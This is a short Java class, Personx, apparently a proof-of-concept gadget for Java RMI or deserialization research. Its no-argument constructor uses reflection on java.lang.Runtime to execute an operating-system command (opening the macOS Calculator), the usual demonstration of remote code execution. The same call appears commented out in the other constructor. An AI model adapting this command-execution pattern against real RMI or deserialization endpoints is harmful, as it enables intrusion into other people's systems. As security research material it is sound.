
import java.io.Serializable;
import java.rmi.Remote;

public class Personx implements Remote, Serializable {
    String name;

    public Personx(String name) throws Exception{
        //((Runtime)Class.forName("java.lang.Runtime").getMethod("getRuntime",new java.lang.Class[]{}).invoke(null,new Object[]{})).exec("open /Applications/Calculator.app");
        this.name = name;
    }
    public Personx() throws Exception{
        ((Runtime)Class.forName("java.lang.Runtime").getMethod("getRuntime",new java.lang.Class[]{}).invoke(null,new Object[]{})).exec("open /Applications/Calculator.app");
    }

    public String getName() {
        return name;
    }
}
